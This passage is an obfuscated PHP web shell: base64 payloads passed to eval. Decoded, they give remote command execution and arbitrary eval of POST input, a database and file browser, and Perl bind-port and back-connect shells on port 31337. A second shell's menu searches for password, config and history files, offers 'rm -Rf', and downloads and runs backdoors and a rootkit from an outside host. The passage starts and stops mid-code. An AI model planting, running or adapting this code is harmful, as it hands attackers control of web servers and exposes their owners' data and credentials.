pZigkX1BPU1RbJ3AzJ10+MSApZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIuJF9QT1NUWydwMiddLiciLCAnLigkX1BPU1RbJ3AzJ10tMSApLiIpJz4mbHQ7IFByZXY8L2E+IjtpZigkX1BPU1RbJ3AzJ108JHBhZ2VzKWVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4nIiwgJy4oJF9QT1NUWydwMyddKzEgKS4iKSc+TmV4dCAmZ3Q7PC9hPiI7JF9QT1NUWydwMyddLS07aWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpJF9QT1NUWydwMiddPSdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCApO2Vsc2UgJF9QT1NUWydwMiddPSdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzAgKS4nLDMwJztlY2hvICI8YnI+PGJyPiI7fWlmKChAJF9QT1NUWydwMSddPT0ncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSl7JGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTtpZigkZGItPnJlcyE9PWZhbHNlKXskdGl0bGU9ZmFsc2U7ZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzskbGluZT0xIDt3aGlsZSgkaXRlbT0kZGItPmZldGNoKCkpe2lmKCEkdGl0bGUpe2VjaG8gJzx0cj4nO2ZvcmVhY2goJGl0ZW0gYXMgJGtleT0+JHZhbHVlKWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JztyZXNldCgkaXRlbSk7JHRpdGxlPXRydWU7ZWNobyAnPC90cj48dHI+JzskbGluZT0yIDt9ZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOyRsaW5lPSRsaW5lPT0xID8yIDoxIDtmb3JlYWNoKCRpdGVtIGFzICRrZXk9PiR2YWx1ZSl7aWYoJHZhbHVlPT1udWxsKWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JztlbHNlIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+Jzt9ZWNobyAnPC90cj4nO31lY2hvICc8L3RhYmxlPic7fWVsc2Uge2VjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+Jzt9fWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjtpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddIT0nbG9hZGZpbGUnKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTtlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iO2VjaG8gIjwvdGQ+PC90cj4iO31lY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7aWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpeyRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7aWYoJGRiLT5mZXRjaCgpKWVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+Ijt9aWYoQCRfUE9TVFsncDEnXT09J2xvYWRmaWxlJyl7JGZpbGU9JGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pO2VjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+Jzt9fWVsc2Uge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpO31lY2hvICc8L2Rpdj4nO3dzb0Zvb3RlcigpO31mdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCl7d3NvSGVhZGVyKCk7JGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7JGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iO2VjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoNCgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JwcCcsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+DQoJPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxici8+DQoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KCTwvZm9ybT4NCgk8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+DQoJPHNwYW4+QmFjay1jb25uZWN0ICBbcGVybF08L3NwYW4+PGJyLz4NCglTZXJ2ZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzZXJ2ZXInIHZhbHVlPSciLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoNCgk8L2Zvcm0+PGJyPiI7aWYoaXNzZXQoJF9QT1NUWydwMSddKSl7ZnVuY3Rpb24gY2YoJGYsJHQpeyR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7aWYoJHcpe0Bmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTtAZmNsb3NlKCR3KTt9fWlmKCRfUE9TVFsncDEnXT09J2JwcCcpe2NmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOyRvdXQ9d3NvRXgoInBlcmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncDInXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpO2VjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+Ijt1bmxpbmsoIi90bXAvYnAucGwiKTt9aWYoJF9QT1NUWydwMSddPT0nYmNwJyl7Y2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7JG91dD13c29FeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTtlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7dW5saW5rKCIvdG1wL2JjLnBsIik7fX1lY2hvICc8L2Rpdj4nO3dzb0Zvb3RlcigpO31mdW5jdGlvbiBhY3Rpb25SQygpe2lmKCFAJF9QT1NUWydwMSddKXskYT1hcnJheSgidW5hbWUiPT5waHBfdW5hbWUoKSwicGhwX3ZlcnNpb24iPT5waHB2ZXJzaW9uKCksIndzb192ZXJzaW9uIj0+V1NPX1ZFUlNJT04sInNhZmVtb2RlIj0+QGluaV9nZXQoJ3NhZmVfbW9kZScpKTtlY2hvIHNlcmlhbGl6ZSgkYSk7fWVsc2Uge2V2YWwoJF9QT1NUWydwMSddKTt9fWlmKGVtcHR5KCRfUE9TVFsnYSddKSl7aWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicuJGRlZmF1bHRfYWN0aW9uKSl7JF9QT1NUWydhJ109JGRlZmF1bHRfYWN0aW9uO31lbHNlIHskX1BPU1RbJ2EnXT0nU2VjSW5mbyc7fX1pZighZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJy4kX1BPU1RbJ2EnXSkgJiYgZW1wdHkoJF9HRVRbJ2EnXSkpe2NhbGxfdXNlcl9mdW5jKCdhY3Rpb24nLiRfUE9TVFsnYSddKTt9aWYoIWVtcHR5KCRfR0VUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJy4kX0dFVFsnYSddKSl7JF9QT1NUWydhJ109JF9HRVRbJ2EnXTskX1BPU1RbJ2MnXT1pc3NldCgkX0dFVFsnYyddKT8kX0dFVFsnYyddOiRHTE9CQUxTWydjd2QnXTskX1BPU1RbJ3AxJ109aXNzZXQoJF9HRVRbJ3AxJ10pPyRfR0VUWydwMSddOicnOyRfUE9TVFsncDInXT1pc3NldCgkX0dFVFsncDInXSk/JF9HRVRbJ3AyJ106Jyc7JF9QT1NUWydwMyddPWlzc2V0KCRfR0VUWydwMyddKT8kX0dFVFsncDMnXTonJzskX1BPU1RbJ2NoYXJzZXQnXT1pc3NldCgkX0dFVFsnY2hhcnNldCddKT8kX0dFVFsnY2hhcnNldCddOicnO2NhbGxfdXNlcl9mdW5jKCdhY3Rpb24nLiRfR0VUWydhJ10pO31mdW5jdGlvbiBGZXRjaFVSTCgkdXJsKXskY2g9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCIkY2hlYWRlciIpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEgKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsZmFsc2UpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwkdXJsKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxICk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVElNRU9VVCwzMCApOyRkYXRhPWN1cmxfZXhlYygkY2gpO2lmKCEkZGF0YSl7cmV0dXJuIGZhbHNlO31yZXR1cm4gJGRhdGE7fWV4aXQ7"));
 }else if(isset($_GET["f29"])){ 
eval(base64_decode("ZGVmaW5lKCdzaF92ZXInLCIzLjMuMDUuMDkiKTtlcnJvcl9yZXBvcnRpbmcoRV9BTEwpO2Vycm9yX3JlcG9ydGluZyhFX0VSUk9SfEVfUEFSU0UpO2RlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7JHNoX21haW51cmw9J2h0dHA6Ly9mZWVsY29tei5jby5jYy8nOyRmeDI5c2hfdXBkYXRldXJsPSRzaF9tYWludXJsLiJmeDI5c2hfdXBkYXRlLnBocCI7JGZ4MjlzaF9zb3VyY2VzdXJsPSRzaF9tYWludXJsLiJmeDI5c2gudHh0Ijskc2hfc291cmNlej1hcnJheSgiRngyOVNoIj0+YXJyYXkoJHNoX21haW51cmwuInNoZWxsei9jeWJlcnoudHh0IiwiZngyOXNoLnBocCIpLCJwc3lCTkMiPT5hcnJheSgkc2hfbWFpbnVybC4idG9vbHovZngudGd6IiwiZngudGd6IiksIkVnZ2Ryb3AiPT5hcnJheSgkc2hfbWFpbnVybC4idG9vbHovZnhiLnRneiIsImZ4Yi50Z3oiKSwiQmluZERvb3IiPT5hcnJheSgkc2hfbWFpbnVybC4idG9vbHovYmluZC50Z3oiLCJiaW5kLnRneiIpLCk7JGF1dGg9YXJyYXkoImxvZ2luIj0+IiIsInBhc3MiPT4iIiwibWQ1cGFzcyI9PiIiLCJob3N0YWxsb3ciPT5hcnJheSgiKiIpLCJkZW5pZWQiPT4iPGEgaHJlZj1cIiRzaF9tYWludXJsXCI+Ii5zaF9uYW1lKCkuIjwvYT46IGFjY2VzcyBkZW5pZWQhIiwpOyR0bXBfZGlyPSIiOyRzZXNzX2Nvb2tpZT0iZngyOXNoY29vayI7JHNvcnRfZGVmYXVsdD0iMGEiOyRzb3J0X3NhdmU9VFJVRTskY29weV91bnNldD1GQUxTRTskZ3ppcGVuY29kZT1UUlVFOyRmaWxlc3RlYWx0aD1UUlVFOyRoZXhkdW1wX2xpbmVzPTggOyRoZXhkdW1wX3Jvd3M9MjQgOyRhdXRvX3N1cmw9VFJVRTtpZighaXNfd2luZG93cygpKXskY21kYWxpYXNlcz1hcnJheShhcnJheSgiTGlzdCBEaXJlY3RvcnkiLCJscyAtYWwiKSxhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSxhcnJheSgiRmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLGFycmF5KCJGaW5kIGFsbCBzZ2lkIGZpbGVzIiwiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksYXJyYXkoIkZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMiLCJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsImZpbmQgLyAtcGVybSAtMiAtbHMiKSxhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXBlcm0gLTIgLWxzIiksYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCJmaW5kIC8gLXR5cGUgZCAtcGVybSAtMiAtbHMiKSxhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBpbiBjdXJyZW50IGRpciIsImZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scyIpLGFycmF5KCJGaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLGFycmF5KCJGaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSxhcnJheSgiRmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSxhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSxhcnJheSgiRmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLGFycmF5KCJGaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSxhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSxhcnJheSgiTGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCJsc2F0dHIgLXZhIiksYXJyYXkoIlNob3cgb3BlbmVkIHBvcnRzIiwibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpLGFycmF5KCItLS0tLSIsIiIpLGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksYXJyYXkoIkxhc3QgY29ubmVjdCIsImxhc3Rsb2ciKSxhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSxhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLGFycmF5KCJJbmV0IEFkZHJlc3MiLCIvc2Jpbi9pZmNvbmZpZyB8IGdyZXAgaW5ldCIpLGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSxhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSxhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLGFycmF5KCItLS0tLSIsIiIpLGFycmF5KCJ3Z2V0ICYgcnVuIHBzeUJOQyIsIndnZXQgIi4kc2hfc291cmNlelsicHN5Qk5DIl1bMCBdLiI7dGFyIC16eGYgIi4kc2hfc291cmNlelsicHN5Qk5DIl1bMSBdLiI7Y2QgLmZ4Oy4vY29uZmlnIDI5MTEwOy4vZnVjazsuL3J1biIpLGFycmF5KCJ3Z2V0ICYgZXh0cmFjdCBFZ2dEcm9wIiwid2dldCAiLiRzaF9zb3VyY2V6WyJFZ2dkcm9wIl1bMCBdLiI7dGFyIC16eGYgIi4kc2hfc291cmNlelsicHN5Qk5DIl1bMSBdKSxhcnJheSgid2dldCAmIHJ1biBCaW5kRG9vciIsIndnZXQgIi4kc2hfc291cmNlelsiQmluZERvb3IiXVswIF0uIjt0YXIgLXp4dmYgIi4kc2hfc291cmNlelsiQmluZERvb3IiXVsxIF0uIjsuL2JpbmQiKSxhcnJheSgiLS0tLS0iLCIiKSxhcnJheSgid2dldCBSYXRIb2xlIDEuMiAoTGludXggJiBCU0QpIiwid2dldCBodHRwOi8vcGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvVU5JWC9wZW5ldHJhdGlvbi9yb290a2l0cy9yYXRob2xlLTEuMi50YXIuZ3oiKSwpO31lbHNlIHskY21kYWxpYXNlcz1hcnJheShhcnJheSgiTGlzdCBEaXJlY3RvcnkiLCJkaXIiKSxhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiLCJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiksYXJyYXkoIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiwiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIpLGFycmF5KCJGaW5kIGM5OXNoZWxsIGluIGN1cnJlbnQgZGlyIiwiZmluZCAvYyBcImM5OVwiICoiKSxhcnJheSgiRmluZCByNTdzaGVsbCBpbiBjdXJyZW50IGRpciIsImZpbmQgL2MgXCJyNTdcIiAqIiksYXJyYXkoIkZpbmQgZngyOXNoZWxsIGluIGN1cnJlbnQgZGlyIiwiZmluZCAvYyBcImZ4MjlcIiAqIiksYXJyYXkoIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiwibmV0c3RhdCAtYW4iKSxhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwibmV0IHN0YXJ0IiksYXJyYXkoIlVzZXIgYWNjb3VudHMiLCJuZXQgdXNlciIpLGFycmF5KCJTaG93IGNvbXB1dGVycyIsIm5ldCB2aWV3IiksKTt9JHBocGZzYWxpYXNlcz1hcnJheShhcnJheSgiUmVhZCBGaWxlIiwicmVhZCIsMSAsIkZpbGUiLCIiKSxhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCJ3cml0ZSIsMiAsIkZpbGUiLCJUZXh0IiksYXJyYXkoIkNvcHkiLCJjb3B5IiwyICwiRnJvbSIsIlRvIiksYXJyYXkoIlJlbmFtZS9Nb3ZlIiwicmVuYW1lIiwyICwiRmlsZSIsIlRvIiksYXJyYXkoIkRlbGV0ZSIsImRlbGV0ZSIsMSAsIkZpbGUiLCIiKSxhcnJheSgiTWFrZSBEaXIiLCJta2RpciIsMSAsIkRpciIsIiIpLGFycmF5KCJEb3dubG9hZCIsImRvd25sb2FkIiwyICwiVVJMIiwiVG8iKSxhcnJheSgiRG93bmxvYWQgKEJpbmFyeSBTYWZlKSIsImRvd25sb2FkYmluIiwyICwiVVJMIiwiVG8iKSxhcnJheSgiQ2hhbmdlIFBlcm0gKDA3NTUpIiwiY2htb2QiLDIgLCJGaWxlIiwiUGVybXMiKSxhcnJheSgiRmluZCBXcml0YWJsZSBEaXIiLCJmd3JpdGFibGVkaXIiLDIgLCJEaXIiLCJNYXgiKSxhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwiZ2xvYiIsMiAsIkRpciIsIlBhdHRlcm4iKSwpO2lmKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpe2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpe3JldHVybiBGQUxTRTt9fWlmKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikpe2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpe3JldHVybiBGQUxTRTt9fWlmKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSl7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKXtyZXR1cm4gRkFMU0U7fX1Ac2V0X3RpbWVfbGltaXQoMCApO0Bpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDAgKTtAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwICk7aWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSlzdHJpcHMoJEdMT0JBTFMpOyRfUkVRVUVTVD1hcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOyRkPUAkX1JFUVVFU1RbImQiXTskZj1AJF9SRVFVRVNUWyJmIl07QGV4dHJhY3QoJF9SRVFVRVNUWyJmeDI5c2hjb29rIl0pO2ZvcmVhY2goJF9SRVFVRVNUIGFzICRrPT4kdil7aWYoIWlzc2V0KCQkaykpeyQkaz0kdjt9fWlmKCRhdXRvX3N1cmwpeyRpbmNsdWRlPSImIjtmb3JlYWNoKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KXskdj1leHBsb2RlKCI9Iiwkdik7JG5hbWU9dXJsZGVjb2RlKCR2WzAgXSk7JHZhbHVlPUB1cmxkZWNvZGUoJHZbMSBdKTskbmVlZGxlcz1hcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpO2ZvcmVhY2goJG5lZWRsZXMgYXMgJG5lZWRsZSl7aWYoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKT09PTAgKXskaW5jbHVkZXN0ci49dXJsZW5jb2RlKCRuYW1lKS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiO319fX1pZihlbXB0eSgkc3VybCkpJHN1cmw9aHRtbHNwZWNpYWxjaGFycygiPyIuQCRpbmNsdWRlc3RyKTskaW1nX3RhZz0nPGltZyBzcmM9IicuJHN1cmwuJ2FjdD1pbWcmaW1nPSc7JHF1aWNrbGF1bmNoPWFycmF5KGFycmF5KCRpbWdfdGFnLiJob21lXCIgYWx0PVwiSG9tZVwiPiIsJHN1cmwpLGFycmF5KCRpbWdfdGFnLiJiYWNrXCIgYWx0PVwiQmFja1wiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksYXJyYXkoJGltZ190YWcuImZ